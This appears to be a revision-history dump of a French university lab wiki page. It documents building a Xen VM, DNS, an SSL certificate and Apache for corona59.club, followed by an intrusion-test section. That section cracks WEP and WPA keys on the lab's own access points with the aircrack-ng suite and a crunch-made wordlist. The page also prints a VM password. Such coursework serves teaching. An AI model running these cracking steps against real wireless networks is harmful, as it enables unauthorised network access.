NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57061TP sysres IMA5 2021/2022 G112021-12-13T17:10:46Z<p>Cgodet1 : /* Serveur web */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57060TP sysres IMA5 2021/2022 G112021-12-13T17:10:26Z<p>Cgodet1 : /* Certificat SSL */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
